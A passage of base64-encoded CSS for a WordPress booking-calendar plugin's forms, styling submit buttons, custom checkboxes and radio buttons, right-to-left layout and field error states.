LXNpemUtZm9udC1zaXplKTtcclxuICBsaW5lLWhlaWdodDogMTAwJTtcclxuICBjdXJzb3I6IHBvaW50ZXI7XHJcbiAgdHJhbnNpdGlvbjogLjE1cyBlYXNlLWluLW91dDtcclxuICBwb3NpdGlvbjogcmVsYXRpdmU7XHJcbiAgdGV4dC1kZWNvcmF0aW9uOiBub25lXHJcbn1cclxuLndwLWNvcmUtdWkgZGl2LndwYmNfY29udGFpbmVyLndwYmNfZm9ybSBidXR0b25bdHlwZT1zdWJtaXRdOm5vdCgud3BiY19idXR0b25fbGlnaHQpOm5vdCg6aG92ZXIpOm5vdCg6YWN0aXZlKSxcclxuLndwLWNvcmUtdWkgZGl2LndwYmNfY29udGFpbmVyLndwYmNfZm9ybSBpbnB1dFt0eXBlPXN1Ym1pdF06bm90KC53cGJjX2J1dHRvbl9saWdodCk6bm90KDpob3Zlcik6bm90KDphY3RpdmUpLFxyXG5kaXYud3BiY19jb250YWluZXIud3BiY19mb3JtIGJ1dHRvblt0eXBlPXN1Ym1pdF06bm90KC53cGJjX2J1dHRvbl9saWdodCk6bm90KDpob3Zlcik6bm90KDphY3RpdmUpLFxyXG5kaXYud3BiY19jb250YWluZXIud3BiY19mb3JtIGlucHV0W3R5cGU9c3VibWl0XTpub3QoLndwYmNfYnV0dG9uX2xpZ2h0KTpub3QoOmhvdmVyKTpub3QoOmFjdGl2ZSkge1xyXG4gIGJhY2tncm91bmQtY29sb3I6IHZhcigtLXdwYmNfZm9ybS1idXR0b24tYmFja2dyb3VuZC1jb2xvci1hbHQsdmFyKC0td3BiY19mb3JtLWJ1dHRvbi1iYWNrZ3JvdW5kLWNvbG9yKSk7XHJcbiAgY29sb3I6IHZhcigtLXdwYmNfZm9ybS1idXR0b24tdGV4dC1jb2xvcilcclxufVxyXG4ud3AtY29yZS11aSBkaXYud3BiY19jb250YWluZXIud3BiY19mb3JtIGJ1dHRvblt0eXBlPXN1Ym1pdF06bm90KC53cGJjX2J1dHRvbl9saWdodCk6YWN0aXZlLFxyXG4ud3AtY29yZS11aSBkaXYud3BiY19jb250YWluZXIud3BiY19mb3JtIGJ1dHRvblt0eXBlPXN1Ym1pdF06bm90KC53cGJjX2J1dHRvbl9saWdodCk6aG92ZXIsXHJcbi53cC1jb3JlLXVpIGRpdi53cGJjX2NvbnRhaW5lci53cGJjX2Zvcm0gaW5wdXRbdHlwZT1zdWJtaXRdOm5vdCgud3BiY19idXR0b25fbGlnaHQpOmFjdGl2ZSxcclxuLndwLWNvcmUtdWkgZGl2LndwYmNfY29udGFpbmVyLndwYmNfZm9ybSBpbnB1dFt0eXBlPXN1Ym1pdF06bm90KC53cGJjX2J1dHRvbl9saWdodCk6aG92ZXIsXHJcbmRpdi53cGJjX2NvbnRhaW5lci53cGJjX2Zvcm0gYnV0dG9uW3R5cGU9c3VibWl0XTpub3QoLndwYmNfYnV0dG9uX2xpZ2h0KTphY3RpdmUsXHJcbmRpdi53cGJjX2NvbnRhaW5lci53cGJjX2Zvcm0gYnV0dG9uW3R5cGU9c3VibWl0XTpub3QoLndwYmNfYnV0dG9uX2xpZ2h0KTpob3ZlcixcclxuZGl2LndwYmNfY29udGFpbmVyLndwYmNfZm9ybSBpbnB1dFt0eXBlPXN1Ym1pdF06bm90KC53cGJjX2J1dHRvbl9saWdodCk6YWN0aXZlLFxyXG5kaXYud3BiY19jb250YWluZXIud3BiY19mb3JtIGlucHV0W3R5cGU9c3VibWl0XTpub3QoLndwYmNfYnV0dG9uX2xpZ2h0KTpob3ZlciB7XHJcbiAgYmFja2dyb3VuZDogbGluZWFyLWdyYWRpZW50KDBkZWcscmdiYSgwLDAsMCwuMikscmdiYSgwLDAsMCwuMikpLHZhcigtLXdwYmNfZm9ybS1idXR0b24tYmFja2dyb3VuZC1jb2xvci1hbHQsdmFyKC0td3BiY19mb3JtLWJ1dHRvbi1iYWNrZ3JvdW5kLWNvbG9yKSlcclxufVxyXG4ud3AtY29yZS11aSBkaXYud3BiY19jb250YWluZXIud3BiY19mb3JtIGJ1dHRvblt0eXBlPXN1Ym1pdF06bm90KC53cGJjX2J1dHRvbl9saWdodCk6Zm9jdXMsXHJcbi53cC1jb3JlLXVpIGRpdi53cGJjX2NvbnRhaW5lci53cGJjX2Zvcm0gaW5wdXRbdHlwZT1zdWJtaXRdOm5vdCgud3BiY19idXR0b25fbGlnaHQpOmZvY3VzLFxyXG5kaXYud3BiY19jb250YWluZXIud3BiY19mb3JtIGJ1dHRvblt0eXBlPXN1Ym1pdF06bm90KC53cGJjX2J1dHRvbl9saWdodCk6Zm9jdXMsXHJcbmRpdi53cGJjX2NvbnRhaW5lci53cGJjX2Zvcm0gaW5wdXRbdHlwZT1zdWJtaXRdOm5vdCgud3BiY19idXR0b25fbGlnaHQpOmZvY3VzIHtcclxuICBvdXRsaW5lOiAwXHJcbn1cclxuLndwLWNvcmUtdWkgZGl2LndwYmNfY29udGFpbmVyLndwYmNfZm9ybSBidXR0b25bdHlwZT1zdWJtaXRdOm5vdCgud3BiY19idXR0b25fbGlnaHQpOmZvY3VzOmFmdGVyLFxyXG4ud3AtY29yZS11aSBkaXYud3BiY19jb250YWluZXIud3BiY19mb3JtIGlucHV0W3R5cGU9c3VibWl0XTpub3QoLndwYmNfYnV0dG9uX2xpZ2h0KTpmb2N1czphZnRlcixcclxuZGl2LndwYmNfY29udGFpbmVyLndwYmNfZm9ybSBidXR0b25bdHlwZT1zdWJtaXRdOm5vdCgud3BiY19idXR0b25fbGlnaHQpOmZvY3VzOmFmdGVyLFxyXG5kaXYud3BiY19jb250YWluZXIud3BiY19mb3JtIGlucHV0W3R5cGU9c3VibWl0XTpub3QoLndwYmNfYnV0dG9uX2xpZ2h0KTpmb2N1czphZnRlciB7XHJcbiAgY29udGVudDogXCJcIjtcclxuICBwb3NpdGlvbjogYWJzb2x1dGU7XHJcbiAgYm9yZGVyOiAycHggc29saWQgdmFyKC0td3BiY19mb3JtLWJ1dHRvbi1iYWNrZ3JvdW5kLWNvbG9yKTtcclxuICBib3JkZXItcmFkaXVzOiBjYWxjKHZhcigtLXdwYmNfZm9ybS1idXR0b24tYm9yZGVyLXJhZGl1cykgKyAycHgpO1xyXG4gIHRvcDogY2FsYygtNHB4IC0gdmFyKC0td3BiY19mb3JtLWJ1dHRvbi1ib3JkZXItc2l6ZSwxcHgpKTtcclxuICByaWdodDogY2FsYygtNHB4IC0gdmFyKC0td3BiY19mb3JtLWJ1dHRvbi1ib3JkZXItc2l6ZSwxcHgpKTtcclxuICBib3R0b206IGNhbGMoLTRweCAtIHZhcigtLXdwYmNfZm9ybS1idXR0b24tYm9yZGVyLXNpemUsMXB4KSk7XHJcbiAgbGVmdDogY2FsYygtNHB4IC0gdmFyKC0td3BiY19mb3JtLWJ1dHRvbi1ib3JkZXItc2l6ZSwxcHgpKVxyXG59XHJcbi53cC1jb3JlLXVpIGRpdi53cGJjX2NvbnRhaW5lci53cGJjX2Zvcm0gYnV0dG9uW3R5cGU9c3VibWl0XTpub3QoLndwYmNfYnV0dG9uX2xpZ2h0KTpkaXNhYmxlZCxcclxuLndwLWNvcmUtdWkgZGl2LndwYmNfY29udGFpbmVyLndwYmNfZm9ybSBidXR0b25bdHlwZT1zdWJtaXRdOm5vdCgud3BiY19idXR0b25fbGlnaHQpOmRpc2FibGVkOmhvdmVyLFxyXG4ud3AtY29yZS11aSBkaXYud3BiY19jb250YWluZXIud3BiY19mb3JtIGlucHV0W3R5cGU9c3VibWl0XTpub3QoLndwYmNfYnV0dG9uX2xpZ2h0KTpkaXNhYmxlZCxcclxuLndwLWNvcmUtdWkgZGl2LndwYmNfY29udGFpbmVyLndwYmNfZm9ybSBpbnB1dFt0eXBlPXN1Ym1pdF06bm90KC53cGJjX2J1dHRvbl9saWdodCk6ZGlzYWJsZWQ6aG92ZXIsXHJcbmRpdi53cGJjX2NvbnRhaW5lci53cGJjX2Zvcm0gYnV0dG9uW3R5cGU9c3VibWl0XTpub3QoLndwYmNfYnV0dG9uX2xpZ2h0KTpkaXNhYmxlZCxcclxuZGl2LndwYmNfY29udGFpbmVyLndwYmNfZm9ybSBidXR0b25bdHlwZT1zdWJtaXRdOm5vdCgud3BiY19idXR0b25fbGlnaHQpOmRpc2FibGVkOmhvdmVyLFxyXG5kaXYud3BiY19jb250YWluZXIud3BiY19mb3JtIGlucHV0W3R5cGU9c3VibWl0XTpub3QoLndwYmNfYnV0dG9uX2xpZ2h0KTpkaXNhYmxlZCxcclxuZGl2LndwYmNfY29udGFpbmVyLndwYmNfZm9ybSBpbnB1dFt0eXBlPXN1Ym1pdF06bm90KC53cGJjX2J1dHRvbl9saWdodCk6ZGlzYWJsZWQ6aG92ZXIge1xyXG4gIGJhY2tncm91bmQtY29sb3I6IHZhcigtLXdwYmNfZm9ybS1idXR0b24tYmFja2dyb3VuZC1jb2xvci1hbHQsdmFyKC0td3BiY19mb3JtLWJ1dHRvbi1iYWNrZ3JvdW5kLWNvbG9yKSk7XHJcbiAgY3Vyc29yOiBkZWZhdWx0XHJcbn1cclxuZGl2LndwYmNfY29udGFpbmVyLndwYmNfZm9ybSBpbnB1dFt0eXBlPWNoZWNrYm94XSxcclxuZGl2LndwYmNfY29udGFpbmVyLndwYmNfZm9ybSBpbnB1dFt0eXBlPXJhZGlvXSB7XHJcbiAgcG9zaXRpb246IHJlbGF0aXZlO1xyXG4gIGRpc3BsYXk6IGlubGluZS1ibG9jaztcclxuICBiYWNrZ3JvdW5kOiAwIDA7XHJcbiAgaGVpZ2h0OiBjYWxjKHZhcigtLXdwYmNfZm9ybS1maWVsZC1zaXplLWNoZWNrYm94LXNpemUpIC0gMnB4ICsgY2FsYyh2YXIoLS13cGJjX2Zvcm0tZmllbGQtYm9yZGVyLXNpemUsMXB4KSAqIDIpKTtcclxuICB3aWR0aDogY2FsYyh2YXIoLS13cGJjX2Zvcm0tZmllbGQtc2l6ZS1jaGVja2JveC1zaXplKSAtIDJweCArIGNhbGModmFyKC0td3BiY19mb3JtLWZpZWxkLWJvcmRlci1zaXplLDFweCkgKiAyKSk7XHJcbiAgbWFyZ2luOiAwIDAgMCAycHg7XHJcbiAgYm9yZGVyOiBub25lO1xyXG4gIGJveC1zaGFkb3c6IG5vbmU7XHJcbiAgdmVydGljYWwtYWxpZ246IG1pZGRsZTtcclxuICBvcGFjaXR5OiAxO1xyXG4gIGFwcGVhcmFuY2U6IG5vbmVcclxufVxyXG5kaXYud3BiY19jb250YWluZXIud3BiY19mb3JtIGlucHV0W3R5cGU9Y2hlY2tib3hdOmFmdGVyLFxyXG5kaXYud3BiY19jb250YWluZXIud3BiY19mb3JtIGlucHV0W3R5cGU9Y2hlY2tib3hdOmJlZm9yZSxcclxuZGl2LndwYmNfY29udGFpbmVyLndwYmNfZm9ybSBpbnB1dFt0eXBlPXJhZGlvXTphZnRlcixcclxuZGl2LndwYmNfY29udGFpbmVyLndwYmNfZm9ybSBpbnB1dFt0eXBlPXJhZGlvXTpiZWZvcmUge1xyXG4gIGNvbnRlbnQ6ICcnO1xyXG4gIHBvc2l0aW9uOiBhYnNvbHV0ZTtcclxuICBsZWZ0OiAtMnB4O1xyXG4gIHRvcDogMDtcclxuICB3aWR0aDogdmFyKC0td3BiY19mb3JtLWZpZWxkLXNpemUtY2hlY2tib3gtc2l6ZSk7XHJcbiAgaGVpZ2h0OiB2YXIoLS13cGJjX2Zvcm0tZmllbGQtc2l6ZS1jaGVja2JveC1zaXplKTtcclxuICBib3gtc2l6aW5nOiBjb250ZW50LWJveDtcclxuICBjdXJzb3I6IHBvaW50ZXJcclxufVxyXG5kaXYud3BiY19jb250YWluZXIud3BiY19mb3JtIGlucHV0W3R5cGU9Y2hlY2tib3hdOmJlZm9yZSxcclxuZGl2LndwYmNfY29udGFpbmVyLndwYmNfZm9ybSBpbnB1dFt0eXBlPXJhZGlvXTpiZWZvcmUge1xyXG4gIGJvcmRlci13aWR0aDogdmFyKC0td3BiY19mb3JtLWZpZWxkLWJvcmRlci1zaXplKTtcclxuICBib3JkZXItc3R5bGU6IHZhcigtLXdwYmNfZm9ybS1maWVsZC1ib3JkZXItc3R5bGUpO1xyXG4gIGJvcmRlci1jb2xvcjogdmFyKC0td3BiY19mb3JtLWZpZWxkLWJvcmRlci1jb2xvcik7XHJcbiAgYmFja2dyb3VuZC1jb2xvcjogdmFyKC0td3BiY19mb3JtLWZpZWxkLWJhY2tncm91bmQtY29sb3IpO1xyXG4gIGJhY2tncm91bmQtY2xpcDogcGFkZGluZy1ib3g7XHJcbiAgYmFja2dyb3VuZC1pbWFnZTogbm9uZTtcclxuICBib3JkZXItcmFkaXVzOiAzcHhcclxufVxyXG5kaXYud3BiY19jb250YWluZXIud3BiY19mb3JtIC53cGRldi1saXN0LWl0ZW0gPiBpbnB1dFt0eXBlPWNoZWNrYm94XSArIC53cGRldi1saXN0LWl0ZW0tbGFiZWwsXHJcbmRpdi53cGJjX2NvbnRhaW5lci53cGJjX2Zvcm0gLndwZGV2LWxpc3QtaXRlbSA+IGlucHV0W3R5cGU9cmFkaW9dICsgLndwZGV2LWxpc3QtaXRlbS1sYWJlbCxcclxuZGl2LndwYmNfY29udGFpbmVyLndwYmNfZm9ybSBpbnB1dFt0eXBlPWNoZWNrYm94XSArIGxhYmVsLFxyXG5kaXYud3BiY19jb250YWluZXIud3BiY19mb3JtIGlucHV0W3R5cGU9cmFkaW9dICsgbGFiZWwge1xyXG4gIGRpc3BsYXk6IGlubGluZTtcclxuICBwb3NpdGlvbjogcmVsYXRpdmU7XHJcbiAgcGFkZGluZy1pbmxpbmUtc3RhcnQ6IHZhcigtLXdwYmNfZm9ybS1wYWRkaW5nLWJldHdlZW4tbGFiZWwtY2hlY2tib3gtcmFkaW8pO1xyXG4gIGZvbnQtc2l6ZTogdmFyKC0td3BiY19mb3JtLWxhYmVsLXNpemUtZm9udC1zaXplKTtcclxuICB2ZXJ0aWNhbC1hbGlnbjogbWlkZGxlXHJcbn1cclxuZGl2LndwYmNfY29udGFpbmVyLndwYmNfZm9ybSBpbnB1dFt0eXBlPWNoZWNrYm94XSArIGxhYmVsLFxyXG5kaXYud3BiY19jb250YWluZXIud3BiY19mb3JtIGlucHV0W3R5cGU9cmFkaW9dICsgbGFiZWwge1xyXG4gIGN1cnNvcjogcG9pbnRlclxyXG59XHJcbmRpdi53cGJjX2NvbnRhaW5lci53cGJjX2Zvcm0gLndwZGV2LWxpc3QtaXRlbSA+IC53cGRldi1saXN0LWl0ZW0tbGFiZWw6Zmlyc3QtY2hpbGQge1xyXG4gIGRpc3BsYXk6IGlubGluZTtcclxuICBwb3NpdGlvbjogcmVsYXRpdmU7XHJcbiAgcGFkZGluZy1pbmxpbmUtZW5kOiB2YXIoLS13cGJjX2Zvcm0tcGFkZGluZy1iZXR3ZWVuLWxhYmVsLWNoZWNrYm94LXJhZGlvKTtcclxuICBmb250LXNpemU6IHZhcigtLXdwYmNfZm9ybS1sYWJlbC1zaXplLWZvbnQtc2l6ZSk7XHJcbiAgdmVydGljYWwtYWxpZ246IG1pZGRsZVxyXG59XHJcbmRpdi53cGJjX2NvbnRhaW5lci53cGJjX2Zvcm0gLndwZGV2LWxpc3QtaXRlbSA+IGxhYmVsLndwZGV2LWxpc3QtaXRlbS1sYWJlbDpmaXJzdC1jaGlsZCB7XHJcbiAgY3Vyc29yOiBwb2ludGVyXHJcbn1cclxuZGl2LndwYmNfY29udGFpbmVyLndwYmNfZm9ybSAud3BkZXYtbGlzdC1pdGVtID4gLndwZGV2LWxpc3QtaXRlbS1sYWJlbCA+IGlucHV0W3R5cGU9Y2hlY2tib3hdLFxyXG5kaXYud3BiY19jb250YWluZXIud3BiY19mb3JtIC53cGRldi1saXN0LWl0ZW0gPiAud3BkZXYtbGlzdC1pdGVtLWxhYmVsID4gaW5wdXRbdHlwZT1yYWRpb10ge1xyXG4gIG1hcmdpbi1sZWZ0OiB2YXIoLS13cGJjX2Zvcm0tcGFkZGluZy1iZXR3ZWVuLWxhYmVsLWNoZWNrYm94LXJhZGlvKTtcclxuICBtYXJnaW4tcmlnaHQ6IHZhcigtLXdwYmNfZm9ybS1wYWRkaW5nLWJldHdlZW4tbGFiZWwtY2hlY2tib3gtcmFkaW8pXHJcbn1cclxuZGl2LndwYmNfY29udGFpbmVyLndwYmNfZm9ybSAud3BkZXYtY2hlY2tib3ggLndwZGV2LWxpc3QtaXRlbSxcclxuZGl2LndwYmNfY29udGFpbmVyLndwYmNfZm9ybSAud3BkZXYtcmFkaW8gLndwZGV2LWxpc3QtaXRlbSB7XHJcbiAgbWFyZ2luLXJpZ2h0OiB2YXIoLS13cGJjX2Zvcm0tbWFyZ2luZy1iZXR3ZWVuLXNldmVyYWwtY2hlY2tib3gtcmFkaW8pXHJcbn1cclxuZGl2LndwYmNfY29udGFpbmVyLndwYmNfZm9ybSAud3BkZXYtY2hlY2tib3ggLndwZGV2LWxpc3QtaXRlbTpsYXN0LWNoaWxkLFxyXG5kaXYud3BiY19jb250YWluZXIud3BiY19mb3JtIC53cGRldi1yYWRpbyAud3BkZXYtbGlzdC1pdGVtOmxhc3QtY2hpbGQge1xyXG4gIG1hcmdpbi1yaWdodDogMFxyXG59XHJcbi5ydGwgZGl2LndwYmNfY29udGFpbmVyLndwYmNfZm9ybSAud3BkZXYtY2hlY2tib3ggLndwZGV2LWxpc3QtaXRlbSxcclxuLnJ0bCBkaXYud3BiY19jb250YWluZXIud3BiY19mb3JtIC53cGRldi1yYWRpbyAud3BkZXYtbGlzdC1pdGVtIHtcclxuICBtYXJnaW4tbGVmdDogdmFyKC0td3BiY19mb3JtLW1hcmdpbmctYmV0d2Vlbi1zZXZlcmFsLWNoZWNrYm94LXJhZGlvKVxyXG59XHJcbi5ydGwgZGl2LndwYmNfY29udGFpbmVyLndwYmNfZm9ybSAud3BkZXYtY2hlY2tib3ggLndwZGV2LWxpc3QtaXRlbTpmaXJzdC1jaGlsZCxcclxuLnJ0bCBkaXYud3BiY19jb250YWluZXIud3BiY19mb3JtIC53cGRldi1yYWRpbyAud3BkZXYtbGlzdC1pdGVtOmZpcnN0LWNoaWxkIHtcclxuICBtYXJnaW4tbGVmdDogMFxyXG59XHJcbmRpdi53cGJjX2NvbnRhaW5lci53cGJjX2Zvcm0gaW5wdXRbdHlwZT1jaGVja2JveF06Y2hlY2tlZDpiZWZvcmUsXHJcbmRpdi53cGJjX2NvbnRhaW5lci53cGJjX2Zvcm0gaW5wdXRbdHlwZT1yYWRpb106Y2hlY2tlZDpiZWZvcmUge1xyXG4gIG1hcmdpbjogMDtcclxuICBib3JkZXItd2lkdGg6IHZhcigtLXdwYmNfZm9ybS1maWVsZC1ib3JkZXItc2l6ZSk7XHJcbiAgYm9yZGVyLXN0eWxlOiBzb2xpZDtcclxuICBib3JkZXItY29sb3I6IHZhcigtLXdwYmNfZm9ybS1idXR0b24tYmFja2dyb3VuZC1jb2xvcik7XHJcbiAgYm94LXNoYWRvdzogMCAwIDAgMS4ycHggdmFyKC0td3BiY19mb3JtLWJ1dHRvbi1iYWNrZ3JvdW5kLWNvbG9yKSwwIDFweCAycHggcmdiYSgwLDAsMCwuMTUpO1xyXG4gIG91dGxpbmU6IDBcclxufVxyXG5kaXYud3BiY19jb250YWluZXIud3BiY19mb3JtIGlucHV0W3R5cGU9Y2hlY2tib3hdOmZvY3VzLFxyXG5kaXYud3BiY19jb250YWluZXIud3BiY19mb3JtIGlucHV0W3R5cGU9cmFkaW9dOmZvY3VzIHtcclxuICBvdXRsaW5lOiAwXHJcbn1cclxuZGl2LndwYmNfY29udGFpbmVyLndwYmNfZm9ybSBpbnB1dFt0eXBlPWNoZWNrYm94XTpmb2N1czpiZWZvcmUsXHJcbmRpdi53cGJjX2NvbnRhaW5lci53cGJjX2Zvcm0gaW5wdXRbdHlwZT1yYWRpb106Zm9jdXM6YmVmb3JlIHtcclxuICBib3JkZXItd2lkdGg6IHZhcigtLXdwYmNfZm9ybS1maWVsZC1ib3JkZXItc2l6ZSk7XHJcbiAgYm9yZGVyLXN0eWxlOiBzb2xpZDtcclxuICBib3JkZXItY29sb3I6IHZhcigtLXdwYmNfZm9ybS1idXR0b24tYmFja2dyb3VuZC1jb2xvcik7XHJcbiAgYm94LXNoYWRvdzogMCAwIDAgMS4ycHggdmFyKC0td3BiY19mb3JtLWJ1dHRvbi1iYWNrZ3JvdW5kLWNvbG9yKSwwIDFweCAycHggcmdiYSgwLDAsMCwuMTUpO1xyXG4gIG91dGxpbmU6IDBcclxufVxyXG5kaXYud3BiY19jb250YWluZXIud3BiY19mb3JtIGlucHV0W3R5cGU9Y2hlY2tib3hdOmNoZWNrZWQ6YWZ0ZXIge1xyXG4gIGJvcmRlci10b3A6IG5vbmU7XHJcbiAgYm9yZGVyLXJpZ2h0OiBub25lO1xyXG4gIGhlaWdodDogY2FsYyh2YXIoLS13cGJjX2Zvcm0tZmllbGQtc2l6ZS1jaGVja2JveC1zaXplKSAqIC42KTtcclxuICBib3JkZXItbGVmdDogNHB4IHNvbGlkIHZhcigtLXdwYmNfZm9ybS1idXR0b24tYmFja2dyb3VuZC1jb2xvcik7XHJcbiAgYm9yZGVyLWJvdHRvbTogNHB4IHNvbGlkIHZhcigtLXdwYmNfZm9ybS1idXR0b24tYmFja2dyb3VuZC1jb2xvcik7XHJcbiAgYmFja2dyb3VuZC1jb2xvcjogdHJhbnNwYXJlbnQ7XHJcbiAgLW1zLXRyYW5zZm9ybTogdHJhbnNsYXRlKDAsMXB4KSBzY2FsZSguNSkgcm90YXRlKC00NWRlZyk7XHJcbiAgdHJhbnNmb3JtOiB0cmFuc2xhdGUoMCwxcHgpIHNjYWxlKC41KSByb3RhdGUoLTQ1ZGVnKTtcclxuICBsZWZ0OiBjYWxjKC00cHggKyB2YXIoLS13cGJjX2Zvcm0tZmllbGQtYm9yZGVyLXNpemUsMXB4KSk7XHJcbiAgdG9wOiBjYWxjKC0xcHggKyB2YXIoLS13cGJjX2Zvcm0tZmllbGQtYm9yZGVyLXNpemUsMXB4KSlcclxufVxyXG5kaXYud3BiY19jb250YWluZXIud3BiY19mb3JtIGlucHV0W3R5cGU9cmFkaW9dLFxyXG5kaXYud3BiY19jb250YWluZXIud3BiY19mb3JtIGlucHV0W3R5cGU9cmFkaW9dOmJlZm9yZSB7XHJcbiAgYm9yZGVyLXJhZGl1czogNTAlXHJcbn1cclxuZGl2LndwYmNfY29udGFpbmVyLndwYmNfZm9ybSBpbnB1dFt0eXBlPXJhZGlvXTpjaGVja2VkOmFmdGVyIHtcclxuICBib3JkZXI6IDFweCBzb2xpZCB0cmFuc3BhcmVudDtcclxuICBib3JkZXItcmFkaXVzOiA1MCU7XHJcbiAgYmFja2dyb3VuZC1jb2xvcjogdmFyKC0td3BiY19mb3JtLWJ1dHRvbi1iYWNrZ3JvdW5kLWNvbG9yKTtcclxuICAtbXMtdHJhbnNmb3JtOiBzY2FsZSguNSk7XHJcbiAgdHJhbnNmb3JtOiBzY2FsZSguNSk7XHJcbiAgLW1vei10cmFuc2Zvcm06IHNjYWxlKC40Nyk7XHJcbiAgbGVmdDogY2FsYygtM3B4ICsgdmFyKC0td3BiY19mb3JtLWZpZWxkLWJvcmRlci1zaXplLDFweCkpO1xyXG4gIHRvcDogY2FsYygtMXB4ICsgdmFyKC0td3BiY19mb3JtLWZpZWxkLWJvcmRlci1zaXplLDFweCkpXHJcbn1cclxuZGl2LndwYmNfY29udGFpbmVyLndwYmNfZm9ybS53cGJjX2NvbnRhaW5lcl9ib29raW5nX2Zvcm0gbGFiZWwud3BiY19mb3JtX2ZpZWxkX2Vycm9yLFxyXG5kaXYud3BiY19jb250YWluZXIud3BiY19mb3JtLndwYmNfY29udGFpbmVyX2Jvb2tpbmdfZm9ybSBzcGFuLndwYmNfZm9ybV9maWVsZF9lcnJvciB7XHJcbiAgZm9udC13ZWlnaHQ6IDQwMDtcclxuICBmb250LXNpemU6IHZhcigtLXdwYmNfZm9ybS1sYWJlbC1zaXplLXN1YmxhYmVsLWZvbnQtc2l6ZSk7XHJcbiAgbGluZS1oZWlnaHQ6IHZhcigtLXdwYmNfZm9ybS1sYWJlbC1zaXplLXN1YmxhYmVsLWxpbmUtaGVpZ2h0KTtcclxuICBtYXJnaW4tdG9wOiB2YXIoLS13cGJjX2Zvcm0tZmllbGQtc2l6ZS1pbnB1dC1zcGFjaW5nKTtcclxuICBjb2xvcjogdmFyKC0td3BiY19mb3JtLWxhYmVsLWVycm9yLWNvbG9yKTtcclxuICBwYWRkaW5nOiAwIDAgMCA1cHg7XHJcbiAgcG9zaXRpb246IHJlbGF0aXZlXHJcbn1cclxuZGl2LndwYmNfY29udGFpbmVyLndwYmNfZm9ybS53cGJjX2NvbnRhaW5lcl9ib29raW5nX2Zvcm0gaW5wdXQud3BiY19mb3JtX2ZpZWxkX2Vycm9yLFxyXG5kaXYud3BiY19jb250YWluZXIud3BiY19mb3JtLndwYmNfY29udGFpbmVyX2Jvb2tpbmdfZm9ybSBzZWxlY3Qud3BiY19mb3JtX2ZpZWxkX2Vycm9yLFxyXG5kaXYud3BiY19jb250YWluZXIud3BiY19mb3JtLndwYmNfY29udGFpbmVyX2Jvb2tpbmdfZm9ybSB0ZXh0YXJlYS53cGJjX2Zvcm1fZmllbGRfZXJyb3Ige1xyXG4gIGJvcmRlci13aWR0aDogdmFyKC0td3BiY19mb3JtLWZpZWxkLWJvcmRlci1zaXplKTtcclxuICBib3JkZXItc3R5bGU6IHNvbGlkO1xyXG4gIGJvcmRlci1jb2xvcjogdmFyKC0td3BiY19mb3JtLWxhYmVsLWVycm9yLWNvbG9yKVxyXG59XHJcbmRpdi53cGJjX2NvbnRhaW5lci53cGJjX2Zvcm0ud3BiY19jb250YWluZXJfYm9va2luZ19mb3JtIGlucHV0LndwYmNfZm9ybV9maWVsZF9lcnJvcjpob3ZlcixcclxuZGl2LndwYmNfY29udGFpbmVyLndwYmNfZm9ybS53cGJjX2NvbnRhaW5lcl9ib29raW5nX2Zvcm0gc2VsZWN0LndwYmNfZm9ybV9maWVsZF9lcnJvcjpob3ZlcixcclxuZGl2LndwYmNfY29udGFpbmVyLndwYmNfZm9ybS53cGJjX2NvbnRhaW5lcl9ib29raW5nX2Zvcm0gdGV4dGFyZWEud3BiY19mb3JtX2ZpZWxkX2Vycm9yOmhvdmVyIHtcclxuICBib3JkZXItd2lkdGg6IHZhcigtLXdwYmNfZm9ybS1maWVsZC1ib3JkZXItc2l6ZSk7XHJcbiAgYm9yZGVyLXN0eWxlOiBzb2xpZDtcclxuICBib3JkZXItY29sb3I6IHZhcigtLXdwYmNfZm9ybS1sYWJlbC1lcnJvci1jb2xvcik7XHJcbiAgYm94LXNoYWRvdzogMCAwIDJweCAwIHZhcigtLXdwYmNfZm9ybS1sYWJlbC1lcnJvci1jb2xvcilcclxufVxyXG5kaXYud3BiY19jb250YWluZXIud3BiY19mb3JtLndwYmNfY29udGFpbmVyX2Jvb2tpbmdfZm9ybSBpbnB1dC53cGJjX2Zvcm1fZmllbGRfZXJyb3I6Zm9jdXMsXHJcbmRpdi53cGJjX2NvbnRhaW5lci53cGJjX2Zvcm0ud3BiY19jb250YWluZXJfYm9va2luZ19mb3JtIHNlbGVjdC53cGJjX2Zvcm1fZmllbGRfZXJyb3I6Zm9jdXMsXHJcbmRpdi53cGJjX2NvbnRhaW5lci53cGJjX2Zvcm0ud3BiY19jb250YWluZXJfYm9va2luZ19mb3JtIHRleHRhcmVhLndwYmNfZm9ybV9maWVsZF9lcnJvcjpmb2N1cyB7XHJcbiAgYm9yZGVyLXdpZHRoOiB2YXIoLS13cGJjX2Zvcm0tZmllbGQtYm9yZGVyLXNpemUpO1xyXG4gIGJvcmRlci1zdHlsZTogc29saWQ7XHJcbiAgYm9yZGVyLWNvbG9yOiB2YXIoLS13cGJjX2Zvcm0tbGFiZWwtZXJyb3ItY29sb3IpO1xyXG4gIGJveC1zaGFkb3c6IDAgMCAwIDEuMnB4IHZhcigtLXdwYmNfZm9ybS1sYWJlbC1lcnJvci1jb2xvcilcclxufVxyXG5kaXYud3BiY19jb250YWluZXIud3BiY19mb3JtLndwYmNfY29udGFpbmVyX2Jvb2tpbmdfZm9ybSBpbnB1dFt0eXBlPWNoZWNrYm94XS53cGJjX2Zvcm1fZmllbGRfZXJyb3IsXHJcbmRpdi53cGJjX2NvbnRhaW5lci53cGJjX2Zvcm0ud3BiY19jb250YWluZXJfYm9va2luZ19mb3JtIGlucHV0W3R5cGU9Y2hlY2tib3hdLndwYmNfZm9ybV9maWVsZF9lcnJvcjpmb2N1cyxcclxuZGl2LndwYmNfY29udGFpbmVyLndwYmNfZm9ybS53cGJjX2NvbnRhaW5lcl9ib29raW5nX2Zvcm0gaW5wdXRbdHlwZT1jaGVja2JveF0ud3BiY19mb3JtX2ZpZWxkX2Vycm9yOmhvdmVyLFxyXG5kaXYud3BiY19jb250YWluZXIud3BiY19mb3JtLndwYmNfY29udGFpbmVyX2Jvb2tpbmdfZm9ybSBpbnB1dFt0eXBlPXJhZGlvXS53cGJjX2Zvcm1fZmllbGRfZXJyb3IsXHJcbmRpdi53cGJjX2NvbnRhaW5lci53cGJjX2Zvcm0ud3BiY19jb250YWluZXJfYm9va2luZ19mb3JtIGlucHV0W3R5cGU9cmFkaW9dLndwYmNfZm9ybV9maWVsZF9lcnJvcjpmb2N1cyxcclxuZGl2LndwYmNfY29udGFpbmVyLndwYmNfZm9ybS53cGJjX2NvbnRhaW5lcl9ib29raW5nX2Zvcm0gaW5wdXRbdHlwZT1yYWRpb10ud3BiY19mb3JtX2ZpZWxkX2Vycm9yOmhvdmVyIHtcclxuICBib3JkZXI6IG5vbmU7XHJcbiAgYm94LXNoYWRvdzogbm9u